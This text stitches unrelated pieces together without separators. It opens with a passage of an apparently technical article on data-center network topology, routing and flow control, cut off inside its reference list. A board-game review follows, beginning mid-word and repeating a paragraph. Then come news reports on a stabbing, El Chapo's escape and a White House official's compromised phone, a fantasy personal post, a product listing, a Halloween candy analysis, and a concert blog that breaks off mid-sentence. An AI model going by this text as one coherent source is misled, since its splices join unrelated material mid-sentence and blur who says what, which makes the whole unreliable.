traffic is less orchestrated and consists of much larger payloads, whereas intra-cluster traffic is often fine-grained with bursty behavior. At the next level, between data centers, bandwidth is often very expensive over vast distances with highly regulated traffic streams and patterns so that expensive links are highly utilized. When congestion occurs the most important traffic gets access to the links. Understanding the granularity and distribution of network flows is essential to capacity planning and traffic engineering. Data-center Network Architecture The network topology describes precisely how switches and hosts are interconnected. This is commonly represented as a graph in which vertices represent switches or hosts, and links are the edges that connect them. The topology is central to both the performance and the cost of the network. The topology affects a number of design tradeoffs, including performance, system packaging, path diversity, and redundancy, which, in turn, affect the network's resilience to faults, average and maximum cable length, and, of course, cost.12 The Cisco Data Center Infrastructure 3.0 Design Guide6 describes common practices based on a tree-like topology15 resembling early telephony networks proposed by Charles Clos,7 with bandwidth aggregation at different levels of the network. A fat-tree or folded-Clos topology, similar to that shown in figure 2, has an aggregate bandwidth that grows in proportion to the number of host ports in the system. A scalable network is one in which increasing the number of ports in the network should linearly increase the delivered bisection bandwidth. Scalability and reliability are inseparable since growing to large system size requires a robust network. Network Addressing A host's address is how endpoints are identified in the network. Endpoints are distinguished from intermediate switching elements traversed en route since messages are created by and delivered to an endpoint. In the simplest terms, the address can be thought of as the numerical equivalent of a host name similar to that reported by the Unix hostname command. An address is unique and must be represented in a canonical form that can be used by the routing function to determine where to route a packet. The switch inspects the packet header corresponding to the layer in which routing is performed—for example, IP address from layer 3 or Ethernet address from layer 2. Switching over Ethernet involves ARP (address resolution protocol) and RARP (reverse address resolution protocol) that broadcast messages on the layer 2 network to update local caches mapping layer 2 to layer 3 addresses and vice versa. Routing at layer 3 requires each switch to maintain a subnet mask and assign IP addresses statically or disseminate host addresses using DHCP (dynamic host configuration protocol), for example. The layer 2 routing tables are automatically populated when a switch is plugged in and learns its identity and exchanges route information with its peers; however, the capacity of the packet-forwarding tables is limited to, say, 64K entries. Further, each layer 2 switch will participate in an STP (spanning tree protocol) or use the TRILL (transparent interconnect of lots of links) link-state protocol to exchange routing information and avoid transient routing loops that may arise while the link state is exchanged among peers. Neither layer 2 nor layer 3 routing is perfectly suited to data-center networks, so to overcome these limitations many new routing algorithms have been proposed (e.g., PortLand1,18 and VL2 11). Routing The routing algorithm determines the path a packet traverses through the network. A packet's route, or path, through the network can be asserted when the message is created, called source routing, or may be asserted hop by hop in a distributed manner as a packet visits intermediate switches. Source routing requires that every endpoint know the prescribed path to reach all other endpoints, and each source-routed packet carries the full information to determine the set of port/link traversals from source to destination endpoint. As a result of this overhead and inflexible fault handling, source-routed packets are generally used only for topology discovery and network initialization, or during fault recovery when the state of a switch is unknown. A more flexible method of routing uses distributed lookup tables at each switch, as shown in figure 3. For example, consider a typical Ethernet switch. When a packet arrives at a switch input port, it uses fields from the packet header to index into a lookup table and determine the next hop, or egress port, from the current switch. A good topology will have abundant path diversity in which multiple possible egress ports may exist, with each one leading to a distinct path. Path diversity in the topology may yield ECMP (equal-cost multipath) routing; in that case the routing algorithm attempts to load-balance the traffic flowing across the links by spreading traffic uniformly. To accomplish this uniform spreading, the routing function in the switch will hash several fields of the packet header to produce a deterministic egress port. In the event of a link or switch failure, the routing algorithm will take advantage of path diversity in the network to find another path. A path through the network is said to be minimal if no shorter (i.e., fewer hops) path exists; of course, there may be multiple minimal paths. A fat-tree topology,15 for example, has multiple minimal paths between any two hosts, but a butterfly topology9 has only a single minimal path between any two hosts. Sometimes selecting a non-minimal path is advantageous—for example, to avoid congestion or to route around a fault. The length of a non-minimal path can range from min+1 up to the length of a Hamiltonian path visiting each switch exactly once. In general, the routing algorithm might consider non-minimal paths of a length that is one more than a minimal path, since considering all non-minimal paths would be prohibitively expensive. Network Performance This section discusses the etiquette for sharing the network resources—specifically, the physical links and buffer spaces are resources that require flow control to share them efficiently. Flow control is carried out at different levels of the network stack: data-link, network, transport layer, and possibly within the application itself for explicit coordination of resources. Flow control that occurs at lower levels of the communication stack is transparent to applications. Flow Control Network-level flow control dictates how the input buffers at each switch or NIC are managed: store-and-forward, virtual cut-through,14 or wormhole,19 for example. To understand the performance implications of flow control better, you must first understand the total delay, T, a packet incurs: T = H(t r + Lt p ) + t s H is the number of hops the packet takes through the network; t r is the fall-through latency of the switch, measured from the time the first flit (flow-control unit) arrives to when the first flit exits; and t p is the propagation delay through average cable length L. For short links—say, fewer than 10 meters—electrical signaling is cost-effective. Longer links, however, require fiber optics to communicate over the longer distances. Signal propagation in electrical signaling (5 nanoseconds per meter) is faster than it is in fiber (6 nanoseconds per meter). Propagation through electrical cables occurs at subluminal speeds because of a frequency-dependent component at the surface of the conductor, or "skin effect," in the cable. This limits the signal velocity to about three-quarters the speed of light in a vacuum. Signal propagation in optical fibers is even slower because of dielectric waveguides used to alter the refractive index profile so that higher-velocity components of the signal (i.e., shorter wavelengths) will travel longer distances and arrive at the same time as lower-velocity components, limiting the signal velocity to about two-thirds the speed of light in a vacuum. Optical signaling must also account for the time necessary to perform electrical-to-optical signal conversion, and vice versa. The average cable length, L, is largely determined by the topology and the physical placement of system racks within the data center. The packet's serialization latency, t s, is the time necessary to squeeze the packet onto a narrow serial channel and is determined by the bit rate of the channel. For example, a 1,500-byte Ethernet packet (frame) requires more than 12μs (ignoring any interframe gap time) to be squeezed onto a 1-Gb/s link. With store-and-forward flow control, as its name suggests, a packet is buffered at each hop before the switch does anything with it. T sf = H(t r + Lt p + t s ) As a result, the serialization delay, t s, is incurred at each hop, instead of just at the destination endpoint as is the case with virtual cut-through and wormhole flow control. This can potentially add on the order of 100μs to the round-trip network delay in a data-center network. A stable network monotonically delivers messages as shown by a characteristic throughput-load curve in figure 4. In the absence of end-to-end flow control, however, the network can become unstable, as illustrated by the dotted line in the figure, when the offered load exceeds the saturation point, a. The saturation point is the offered load beyond which the network is said to be congested. In response to this congestion, packets may be discarded to avoid overflowing an input buffer. This lossy flow control is commonplace in Ethernet networks. Discarding packets, while conceptually simple and easy to implement, puts an onus on transport-level mechanisms to detect and retransmit lost packets. Note that packets that are lost or corrupted during transmission are handled by the same transport-level reliable delivery protocol. When the offered load is low (less than a ), packet loss as a result of corruption is rare, so paying the relatively large penalty for transport-level retransmission is generally tolerable. Increased traffic (greater than a ) and adversarial traffic patterns will cause packet discards after the switch's input queue is exhausted. The resulting retransmission will only further exacerbate an already congested network, yielding an unstable network that performs poorly, as shown by the dotted line in figure 4. Alternatively, with lossless flow control, when congestion arises packets may be blocked or held at the source until resources are available. A global congestion control mechanism prevents the network from operating in the post-saturation region. Most networks use end-to-end flow control, such as TCP,5 which uses a windowing mechanism between pairs of source and sink in an attempt to match the source's injection rate with the sink's acceptance rate. TCP, however, is designed for reliable packet delivery, not necessarily timely packet delivery; as a result, it requires tuning (TCP congestion-control algorithms will auto-tune to find the right rate) to balance performance and avoid unnecessary packet duplication from eagerly retransmitting packets under heavy load. Improving the network stack Several decades ago the network designers of early workstations made tradeoffs that led to a single TCP/IP/Ethernet network stack, whether communicating over a few meters or a few kilometers. As processor speed and density improved, the cost of network communication grew relative to processor cycles, exposing the network stack as a critical latency bottleneck.22 This is, in part, the result of a user-kernel context switch in the TCP/IP/Ethernet stack—and possibly additional work to copy the message from the application buffer into the kernel buffer and back again at the receiver. A two-pronged hardware/software approach tackled this latency penalty: OS bypass and zero copy, both of which are aimed at eliminating the user-kernel switch for every message and avoiding a redundant memory copy by allowing the network transport to grab the message payload directly from the user application buffers. To ameliorate the performance impact of a user/kernel switch, OS bypass can be used to deposit a message directly into a user-application buffer. The application participates in the messaging protocol by spin-waiting on a doorbell memory location. Upon arrival, the NIC deposits the message contents in the user-application buffer, and then "rings" the doorbell to indicate message arrival by writing the offset into the buffer where the new message can be found. When the user thread detects the updated value, the incoming message is processed entirely from user space. Zero-copy message-passing protocols avoid this additional memory copy from user to kernel space, and vice versa at the recipient. An interrupt signals the arrival of a message, and an interrupt handler services the new message and returns control to the user application. The interrupt latency—the time from when the interrupt is raised until control is handed to the interrupt handler—can be significant, especially if interrupt coalescing is used to amortize the latency penalty across multiple interrupts. Unfortunately, while interrupt coalescing improves message efficiency (i.e., increased effective bandwidth), it does so at the cost of both increased message latency and latency variance. Scalable, Manageable, and Flexible In general, cloud computing requires two types of services: user-facing computation (e.g., serving Web pages) and inward computation (e.g., indexing, search, map/reduce, etc.). Outward-facing functionality can sometimes be done at the "border" of the Internet where commonly requested pages are cached and serviced by edge servers, while inward computation is generally carried out by a cluster in a data center with tightly coupled, orchestrated communication. User demand is diurnal for a geographic region; thus, multiple data centers are positioned around the globe to accommodate the varying demand. When possible, demand may be spread across nearby data centers to load-balance the traffic. The sheer enormity of this computing infrastructure makes nimble deployment very challenging. Each cluster is built up rack by rack and tested as units (rack, top-of-rack switch, etc.), as well as in its entirety with production-level workloads and traffic intensity. The cluster ecosystem grows organically over its lifespan, propelled by the rapid evolution of software—both applications and, to a lesser extent, the operating system. The fluid-like software demands of Web applications often consume the cluster resources that contain them, making flexibility a top priority in such a fluid system. For example, adding 10 percent additional storage capacity should mean adding no more than 10 percent more servers to the cluster. This linear growth function is critical to the scalability of the system—adding fractionally more servers results in a commensurate growth in the overall cluster capacity. Another aspect of this flexibility is the granularity of resource additions, which is often tied to the cluster packaging constraints. For example, adding another rack to a cluster, with, say, 100 new servers, is more manageable than adding a whole row, with tens of racks, on the data-center floor. Even a modest-sized cluster will have several kilometers of fiber-optic cable acting as a vast highway system interconnecting racks of servers organized as multiple rows on the data-center floor. The data-center network topology and resulting cable complexity is "baked in" and remains a rigid fixture of the cluster. Managing cable complexity is nontrivial, which is immediately evident from the intricately woven tapestry of fiber-optic cabling laced throughout the data center. It is not uncommon to run additional fiber for redundancy, in the event of a cable failure in a "bundle" of fiber or for planned bandwidth growth. Fiber cables are carefully measured to allow some slack and to satisfy the cable's bend radius, and they are meticulously labeled to make troubleshooting less of a needle-in-a-haystack exercise. Reliable and Available Abstraction is the Archimedes lever that lifts many disciplines within computer science and is used extensively in both computer system design and software engineering. Like an array of nested Russian dolls, the network-programming model provides abstraction between successive layers of the networking stack, enabling platform-independent access to both data and system management. One such example of this type of abstraction is the protocol buffer,21 which provides a structured message-passing interface for Web applications written in C++, Java, or Python. Perhaps the most common abstraction used in networking is the notion of a communication channel as a virtual resource connecting two hosts. The TCP communication model provides this abstraction to the programmer in the form of a file descriptor, for example, where reads and writes performed on the socket result in the corresponding network transactions, which are hidden from the user application. In much the same way, the InfiniBand QP (queue-pair) verb model provides an abstraction for the underlying send/receive hardware queues in the NIC. Besides providing a more intuitive programming interface, abstraction also serves as a protective sheath around software when faults arise, depositing layers of software sediment to insulate from critical faults (e.g., memory corruption or, worse, host power-supply failure). Bad things happen to good software. Web applications must be designed to be fault aware and, to the extent possible, resilient in the presence of a variety of failure scenarios.10 The network is responsible for the majority of the unavailability budget for a modern cluster. Whether the problem is a gamma ray causing a soft error in memory or an inattentive worker accidentally unearthing a fiber-optic line, the operating system and underlying hardware substrate work in concert to foster a robust ecosystem for Web applications. The data-center network serves as a "central nervous system" for information exchange between cooperating tasks. The network's functionality is commonly divided into control and data planes. The control plane provides an ancillary network juxtaposed with the data network and tasked with "command and control" for the primary data plane. The control plane is an autonomic system for configuration, fault detection and repair, and monitoring of the data plane. The control plane is typically implemented as an embedded system within each switch component and is tasked with fault detection, notification, and repair when possible. For example, when a network link fails or has an uncharacteristically high number of transmission errors, the control plane will reroute the network to avoid the faulty link. This entails recomputing the routes according to the routing algorithm and emplacing new entries in the routing tables of the affected switches. Of course, the effects of this patchwork are not instantaneous. Once the routing algorithm computes new routes, taking into consideration the newfound faulty links, it must disseminate the routes to the affected switches. The time needed for this information exchange is referred to as convergence time, and a primary goal of the routing protocol is to ensure it is optimally confined to a small epoch. Fault recovery is a very complicated subject and confounds all but the simplest of data-center networks. Among the complicating factors are marginal links that cause "flapping" by transitioning between active and inactive (i.e., up and down), repeatedly creating a deluge of error notifications and resulting route recomputation based on fluctuating and inconsistent link status. Some link-layer protocols allow the link speed to be adjusted downward in hopes of improving the link quality. Of course, lowering the link speed results in a reduced bandwidth link, which in turn may limit the overall bandwidth of the network or at the very least will create load imbalance as a result of increased contention across the slow link. Because of these complicating factors, it is often better to logically excise the faulty link from the routing algorithm until the physical link can be replaced and validated. Conclusion The data-center network is generally regarded as a critical design element in the system architecture and the skeletal structure upon which processor, memory, and I/O devices are dynamically shared. The evolution from 1G to 10G Ethernet and the emerging 40G Ethernet has exposed performance bottlenecks in the communication stack that require better hardware-software coordination for efficient communication. Other approaches by Solarflare, Myricom, and InfiniBand, among others, have sought to reshape the conventional sockets programming model with more efficient abstractions. Internet sockets, however, remain the dominant programming interface for data-center networks. Network performance and reliability are key design goals, but they are tempered by cost and serviceability constraints. Deploying a large cluster computer is done incrementally and is often limited by the power capacity of the building, with power being distributed across the cluster network so that a power failure impacts only a small fraction—say, less than 10 percent—of the hosts in the cluster. When hardware fails, as is to be expected, the operating system running on the host coordinates with a higher-level hypervisor or cluster operating system to allow failures to be replaced in situ without draining traffic in the cluster. Scalable Web applications are designed to expect occasional hardware failures, and the resulting software is by necessity resilient. A good user experience relies on predictable performance, with the data-center network delivering predictable latency and bandwidth characteristics across varying traffic patterns. With single-thread performance plateauing, microprocessors are providing more cores to keep pace with the relentless march of Moore's law. As a result, applications are looking for increasing thread-level parallelism and scaling to a large core count with a commensurate increase in communication among cores. This trend is motivating communication-centric cluster computing with tens of thousands of cores in unison, reminiscent of a flock darting seamlessly amidst the clouds. References 1. Al-Fares, M., Loukissas, A., Vahdat, A. 2008. A scalable, commodity data-center network architecture. In Proceedings of the ACM SIGCOMM 2008 Conference on Data Communication (SIGCOMM '08): 63-74; http://doi.acm.org/10.1145/1402958.1402967. 2. Amdahl's law; http://en.wikipedia.org/wiki/Amdahl's_law. 3. Ballani, H., Costa, P., Karagiannis, T., Rowstron, A. 2011. Towards predictable data-center networks. In Proceedings of the ACM SIGCOMM 2011 Conference (SIGCOMM '11): 242-253; http://doi.acm.org/10.1145/2018436.2018465. 4. Barroso, L.A.; Dean, J.; Holzle, U. 2003. Web search for a planet: the Google cluster architecture. IEEE Micro 23 (2):22-28; http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=1196112&isnumber=26907. 5. Cerf, V., Icahn R. E. 2005. A protocol for packet network intercommunication. SIGCOMM Computer Communication Review 35(2):71-82; http://doi.acm.org/10.1145/1064413.1064423. 6. Cisco Data Center Infrastructure 3.0 Design Guide. Data Center Design—IP Network Infrastructure; http://www.cisco.com/en/US/docs/solutions/Enterprise/Data_Center/DC_3_0/DC-3_0_IPInfra.html. 7. Clos, C. 1953. A study of non-blocking switching networks. The Bell System Technical Journal 32(2):406-424. 8. Fitzpatrick, B. 2004. Distributed caching with Memcached. Linux Journal 2004(124); http://www.linuxjournal.com/article/7451. 9. Dally, W., Towles, B. 2003. Principles and Practices of Interconnection Networks. San Francisco, CA: Morgan Kaufmann Publishers Inc. 10. Gill, P., Jain, N., Nagappan, N. 2011. Understanding network failures in data centers: measurement, analysis, and implications. In Proceedings of the ACM SIGCOMM 2011 Conference (SIGCOMM '11): 350-361; http://doi.acm.org/10.1145/2018436.2018477. 11. Greenberg, A., Hamilton, J. R., Jain, N., Kandula, S., Kim, C., Lahiri, P., Maltz, D. A., Patel, P., Sengupta, S. 2009. VL2: a scalable and flexible data center network. In Proceedings of the ACM SIGCOMM 2009 Conference on Data Communication (SIGCOMM '09): 51-62; http://doi.acm.org/10.1145/1592568.1592576. 12. Greenberg, A., Hamilton, J., Maltz, D. A., Patel, P. 2008. The cost of a cloud: research problems in data center networks. SIGCOMM Computer Communications Review 39(1):68-73; http://doi.acm.org/10.1145/1496091.1496103. 13. Hoelzle, U., Barroso, L. A. 2009. The Datacenter as a Computer: An Introduction to the Design of Warehouse-Scale Machines (1st ed.). Morgan & Claypool Publishers. 14. Kermani, P., Kleinrock, L. 1976. Virtual cut-through: a new computer communication switching technique, Computer Networks 3(4):267-286; http://www.sciencedirect.com/science/article/pii/0376507579900321. 15. Leiserson, C. E. 1985. Fat-trees: universal networks for hardware-efficient supercomputing. IEEE Transactions on Computers 34(10):892-901. 16. Mori, T., Uchida, M., Kawahara, R., Pan, J., Goto, S. 2004. Identifying elephant flows through periodically sampled packets. In Proceedings of the 4th ACM SIGCOMM Conference on Internet Measurement (IMC '04): 115-120; http://doi.acm.org/10.1145/1028788.1028803. 17. Mudigonda, J., Yalagandula, P., Mogul, J., Stiekes, B., Pouffary, Y. 2011. NetLord: a scalable multi-tenant network architecture for virtualized datacenters. SIGCOMM Computer Communication Review 41(4):62-73; http://doi.acm.org/10.1145/2043164.2018444. 18. Mysore, R. N., Pamboris, A., Farrington, N., Huang, N., Miri, P., Radhakrishnan, S., Subramanya, V., Vahdat, A. 2009. PortLand: a scalable fault-tolerant layer 2 data center network fabric. SIGCOMM Computer Communication Review 39(4):39-50; http://doi.acm.org/10.1145/1594977.1592575. 19. Ni, L. M., McKinley, P. K. 1993. A survey of wormhole routing techniques in direct networks, Computer 26(2):62-76; http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=191995&isnumber=4947. 20. Ousterhout, J., Agrawal, P. Erickson, D., Kozyrakis, C., Leverich, J., Mazières, D., Mitra, S., Narayanan, A., Parulkar, G., Rosenblum, M., Rumble, S. M., Stratmann, E., Stutsman, R. 2010. The case for RAMClouds: scalable high-performance storage entirely in DRAM. SIGOPS Operating Systems Review 43(4):92-105; http://doi.acm.org
ulhu, etc.--and attempting to control organizations ranging from OPEC to the Boy Scouts. And if someone nabs a group before you do, why, you just attack him personally and wrest away control. : At one point this was my Favorite Game Ever. Maybe it still is, but I wouldn't know because I haven't played it in a decade, after hurling the dice across the room when a roll didn't go my way. The game of global conspiracies, Illuminati put players in charge of secret societies--The UFOs, The Network, The Cult of Cthulhu, etc.--and attempting to control organizations ranging from OPEC to the Boy Scouts. And if someone nabs a group before you do, why, you just attack him personally and wrest away control. Nuclear war: This is not a good game. That said, played with the right group it can be a barrel of fun. Let fly with your nuclear arsenal, and attempt to be the last man standing in an irradiated world. It is what we gamers dismissive refer to as a "Take That Game"--meaning that, in lieu of strategy of tactics, all it really offers you is the opportunity to initiate or perpetuate grudges with your opponents--but if you don't take it seriously, and do imbibe non-trivial amounts of alcohol, you can still have a blast with it. Update: Someone asked for my opinion on Killer Bunnies. To my mind, it's just Nuclear War in fur: a mediocre game that can nonetheless provide for an entertaining evening if everyone is in the mood for tit-for-tatism and can overlook the game's randomness. Of course, if you want to play a negotiation game you really can't beat the great-grandpappy of the genre: Diplomacy. Imagine Risk if, instead of winning battles by dice rolls, you had to do it by convincing the other players to gang up on your target. Diplomacy will be re-released by Avalon Hill early this year; if you can't wait, or like your wheeling-and-dealing with a bit more theme, check out Game of Thrones, a similar game set in George R. R. Martin's fantasy world. Posted on February 06, 2008 to GamesA soldier stationed overseas watched in horror as his pregnant wife was stabbed in her home while the two chatted on video. Rachel Poole, 31, was rushed to the hospital in critical condition after a man who was allegedly hiding in the home stabbed her multiple times in Texas on Wednesday. Poole was nine months pregnant at the time. Police say Corey Bernard Moss stabbed Poole from behind with a stainless steel knife, according to KFOX. During the attack, her husband, Justin Pele Poole, an American soldier stationed thousands of miles away in Asia, saw the attack unfold as the two talked over FaceTime, according to ABC15. Poole was still in critical condition when her baby, Isabella, was born. Doctors performed a successful cesarean section, her stepfather, Gary Jones, told ABCNews.com. The baby is listed in good condition. Police Det. Mike Baranyay told CNN that the woman recognized her attacker and repeatedly screamed his name to her husband. Poole managed to call authorities. A short time later, the suspect, 19-year-old Corey Bernard Moss, was located by Fort Bliss Military Police and turned over to El Paso police. Detectives said the suspect was inside Poole's house before she came home. Moss allegedly told investigators that the victim owed him money for vehicle repairs. He was charged with criminal attempted capital murder. His bond was originally set at $60,000, but current jail records now show his bond set at $150,000. According to a police affidavit, the suspect is a soldier in training on Fort Bliss military base. Fort Bliss Spokesman Maj. Joe Buccino stated, "The stabbing victim's husband is deployed overseas in southwest Asia. He has been deployed about nine months." On Facebook Saturday, Justin Poole showed pictures of his newborn daughter and recovering wife. On one photo of his wife, he wrote: "My wife fought back so that her daughter could live. But she can not see out of her eye still at all. And can't see or hold her baby until she recovers." Friends of the Poole family have started a fundraising effort to raise the family at least $5,000. Currently, the online fund has raised $5,983.I used to be a demon who traveled through space. I had short curly light purple hair, large horns, five black and orange eyes, pale grey skin, huge leathery wings, sharp teeth and claws, and I was very tall (somewhere in the six foot range). I wore a long, tattered old cape and lots of gold jewelry (I had bangles on my wrists and horns) and I never wore shoes. I had a friend, they were a very fluffy snow white wolf (or something that looked similar to a wolf) with six legs, dragon wings, many black eyes, and a black snout. This wolf and I were closer than anyone else in the in the universe. We traveled everywhere and saw everything- from dangerous swamps full of things that could kill you in more ways you could imagine, to places with impossibly huge castles decorated with beautiful stones and fabrics with feasts and festivals you would wish could never end, to beautiful serene forests with rivers that had the sweetest water ever, and every plant and animal could put you in awe and no matter how long you watched them you would never stop being fascinated. My name was known throughout the universe, and I was respected and feared and envied by those who heard my stories. I had the most thrilling adventures. NOTE: if anyone thinks they may be my wolf, please contact me!Donald Trump, the flamboyant Republican US presidential hopeful, seized on the prison escape of Mexico's most notorious drug lord to back up his calls for a wall between the two countries. Following the Hollywood-style prison break by Joaquin "El Chapo" (Shorty) Guzman, Mr Trump said it proved the extent of corruption in Mexico. The billionare proprty mogul said: "Corrupt Mexican officials obviously let him (Guzman) go a second time. The last time he was free for 13 years. He has been selling drugs in the US big time - a major kingpin. "He is possibly in the US and his drugs and drug dealers freely cross into the United States through our pathetic border. This is just one example of the many instances of Mexico taking advantage of the United States. "They take our country’s money but leave the tremendous crime, much of which is a result of the rampant drug trafficking." Mr Trump's comments were a further rebuff to Republican leaders who have asked him to tone down his rhetoric as they try to woo Hispanic voters. However, the entrepreneur's poll numbers have been rising since last month when he controversially accused Mexico of sending rapists and criminals to the US. Mr Trump added on Twitter: "Mexico's biggest drug lord escapes from jail. Unbelievable corruption and USA is paying the price. I told you so!" Mexico's biggest drug lord escapes from jail. Unbelievable corruption and USA is paying the price. I told you so! — Donald J. Trump (@realDonaldTrump) July 12, 2015 He added: "Can you envision Jeb Bush or Hillary Clinton negotiating with El Chapo...Trump, however, would kick his ass!" Can you envision Jeb Bush or Hillary Clinton negotiating with 'El Chapo', the Mexican drug lord who escaped from prison?.... — Donald J. Trump (@realDonaldTrump) July 13, 2015 ...Trump, however, would kick his ass! — Donald J. Trump (@realDonaldTrump) July 13, 2015 Guzman, who led the Sinaloa cartel, escaped from Mexico's maximum security Altiplano prison, 55 miles west of Mexico City late on Saturday. He fled through a mile-long tunnel from his cell, emerging at a building that was under construction. The tunnel was 1.7 metres high which would have allowed the diminutive Guzman, thought to be aged 58, to walk without stooping. Prosecutors are questioning 30 prison employees amid suspicions of an inside job. Raul Benitez Manaut, security expert at the National Autonomous University of Mexico, said: "El Chapo surely planned this from the time he was jailed (in February 2014) and had very large internal and external support to escape. "There certainly was corruption inside and outside the prison. It was a film-like escape."White House officials believe that chief of staff John Kelly may have been using a compromised personal phone for months, some of that time after he joined the West Wing … NordVPN Politico reports that Kelly waited months before reporting problems with his phone, including the fact that it wasn’t applying software updates. White House officials believe that chief of staff John Kelly’s personal cellphone was compromised, potentially as long ago as December, according to three U.S. government officials. The discovery raises concerns that hackers or foreign governments may have had access to data on Kelly’s phone while he was secretary of Homeland Security and after he joined the West Wing. Tech support staff discovered the suspected breach after Kelly turned his phone in to White House tech support this summer complaining that it wasn’t working or updating software properly. Kelly told the staffers the phone hadn’t been working properly for months, according to the officials. It’s not known which brand and model of phone is involved, but Kelly is seen using an iPhone in a number of photos, including the AP shot by Susan Walsh above. iPhones tend to be more secure than Android devices as Apple controls both the hardware and the operating system, as well as vetting third-party apps, but are not immune to compromise, especially if it is possible to gain physical access to the device. The report says that officials are reviewing Kelly’s travel schedule as staffers attempt to identify precisely what has happened to it. Staffers reviewed the cellphone for several days and tried to decipher what had happened to it, the officials said. Many functions on the phone were not working. The IT department concluded the phone had been compromised and should not be used further, according to the memo. The White House is concerned about what information might have been exposed, with a research fellow at a Canadian university stressing the potential seriousness. Bill Marczak, a senior research fellow with the Citizen Lab at the University of Toronto’s Munk School of Global Affairs, said the worst-case scenario would be “full access,” in which an attacker would be able to essentially control a device, including its microphone and camera. “The [attackers] I would be most worried about are nation-states or other actors who may have access to resale of commercial spyware sold to nation-states,” he said. A White House spokesperson said that Kelly hadn’t used the phone ‘often’ since joining the administration. Via Engadget Check out 9to5Mac on YouTube for more Apple news:By Brandi Roberts Product Description Have you ever wondered what your favorite TV location might look like if it existed somewhere besides your TV? You'll feel like you're on the set of Mad Men with this super gift for a superfan. Hand-drawn with pen on paper and reproduced on a high-quality acid free matte paper for your wall, artist Brandi Roberts's floorplans are purely fictional, and guaranteed to be a conversation starter. Product Details Colors Black Black Materials Acid Free Matte Paper, Glossy Cello Sleeve Measurements 17"L x 11"W Origin United States — Each Print Has A Backing Board — Frame Not Included About the Designer Brandi Roberts Yahoo News calls pop artist Brandi Roberts "an incredibly clever and talented artist" and describes her works as "the ultimate unique gift for a TV fan." Her art has also been featured on NBC’s Today show and other print and web publications. Expertly drawn with precision and intricate detail, her floor plans merge pop-art with celebrity to form art that doesn’t just entertain and engage, but captures the evolution of the American TV home over the last seven decades. Shipping InformationThis article is from the archive of our partner. The beauty of Halloween is that we buy idiotically large bags of candy and then, pretending to be sad about the chore, eat what the trick-or-treaters don't take. (Unless you're bad at math, there's always candy left.) We decided to figure out which candies have been the most popular over the last five years, because we are social scientists. Here's what we did. The advent of Twitter allows us to see what people are saying about candy within discrete time periods. (And, yes, people talk about Halloween candy on Twitter. Increasingly, each year.) These likely aren't the toddlers who are getting candy in their bags, few of whom have active Twitter presences. Instead, it's teens and adults eating candy purloined from the bowl by the door. We looked at Twitter mentions of candy for a variety of top brands for each of the past five Halloweens. We assessed two time periods: November 1st — the day after Halloween — and the first two weeks of the month, during which people are still working through their leftovers. (We used Topsy to pull the data.) Here's what we found. The Day After Reese's and Snickers are kings of the day after candy. The two candies have battled for the top spot over the past five years, with Reese's regaining the title in 2012. Or, tracking ranking year over year:I think I had maybe been living in LA for two days when this event popped up. There’s no better validation for moving to LA than the sudden one-off opportunity to see your music hero (even though he is a big meanie and has put my favorite band on hiatus) for the first time in three years (and one month…and 3 days). This event brought up a lot of questions…what exactly would they be talking about? We know that David Byrne was releasing a book, but why was Reznor paired with him? Where the hell is the Japanese American Cultural Center? And the most important one…would people actually revert to the NIN-style wait in line all night/day system, complete with faces that I hadn’t seen in 3 years (1 month, and 3 days)? The answer to that last one came first, and it was a definitive “yes”. It was like a reunion of sorts, with a lot of figures who, when I see them, they have screen names floating over their heads. It was cool to feel that dramatic tension that all of us completely self generate in the shadow of the existence of the dude that wrote a song called “Fist Fuck”. NIN will always be my favorite band, but I’m in such a different place now…I could never commit the time or the energy or the crazy to following a band around like that again. That is, until the next tour is announced. Doors open and I’m walking with my friends to our seats, recalling JT’s (NIN’s head of security…inside joke) “walk don’t run….the pit is not a comfortable place to be” speech and admiring the formal yet somewhat stuffy theater. We immediately spied instruments onstage, especially this harp-like piece that had strings sailing over the orchestra seating and up into the balcony. Soon (but not “Trent soon”) the players of those instruments walked onstage and treated the crowd of mostly industrial leaning gothy music nerds to something quite refined, cerebral, and organic. String Theory would be the final performance in a week where I found myself experiencing Deftones, Saint Vitus, Madonna, and Ghoul live…not to mention rehearsals for a major classic metal band; this has seriously been one of the more varied and exhilarating weeks in my journey. I finally got to the Who Shot Rock & Roll exhibit right before this, and I was feeling particularly cultured. And then when the woman introducing the speakers started talking about Reznor and all of his accolades, I felt very discombobulated from my connection to his music and the formalization of his career’s achievements. As the discussion began…well, I’ll be honest. At first, it didn’t begin. The moderator asked an extremely convoluted first question that took two minutes to ask and resulted in both musicians sitting there not knowing how to respond. Even though the rapport would improve, the awkwardness of flow of the conversation…not to mention the Q&A at the end, somewhat dominated the experience. The discussion covered many hot topic areas…most of which have been discussed at length already. I wouldn’t say that anything major was answered, there were no “lightbulb” moments, but there were some eloquent points that added to the rhetoric of these ongoing debates. Below I break down those points very uneloquently: -I’D RATHER GIVE IT TO YOU FOR FREE THAN YOU PAY ME NOTHING. “I think ‘pay what you want’ is insulting….if someone says they’ll pay you 5 cents…well, fuck you!” ~Trent Reznor, discussing early ‘pay what you want’ self release models. -COOL MARKETING SHIT DOESN’T MATTER IF IT DOESN’T ENHANCE THE MUSIC EXPERIENCE. Reznor cited Peter Gabriel’s CD-Rom and Bjork’s multimedia experience as being good steps towards what should happen…but were ultimately ‘bad videogames’ (I’m paraphrasing). Then he talked about Year Zero and the ARG experience, along with the often mentioned unreleased narrative (TEASE!). Did the Year Zero marketing campaign enhance my experience of listening to the music? Yes. -GETTING BACK TOGETHER WITH THE EX (MAJOR LABEL) IS OK BECAUSE THEY’VE, YOU KNOW, CHANGED AND STUFF. Many Reznor fans were left bewildered when he announced that he was going back to a label after being The Guy against labels. He explained it tonight, ultimately by saying that it was because he wants a worldwide presence. NIN “does better in America”, and while playing a show in Prague years ago, they noticed that Radiohead had all of this promotion for a concert 6 months from now when NIN didn’t even have a bin at the record shop. Oh NIN and Radiohead, how your industry stories intertwine. So, now a label makes sense because they run leaner and meaner, and “so far it’s been pleasantly….pleasant.” -I/WE/YOU HAVE TOO MUCH SHIT TO LISTEN TO. When was the last time you got a record, listened to it, thought “meh”, and gave it another try? Probably not often because you didn’t pay for it…and it’s really easy to drag and drop into the trash. “The more I work on this problem, the more complicated it gets…What I’d like to hone in on is something that brings back the attention and the preciousness that I think music deserves, that has gotten wiped out and in my opinion run over by the iPods- as great a device as it is- that’s filled with stuff.” -I MADE IT= I’M HEADLINING THE HOUSE OF BLUES or LET ME INTRODUCE YOU TO MY PORN STAR GIRLFRIEND. “When they’re daydreaming at night…what stage do they see 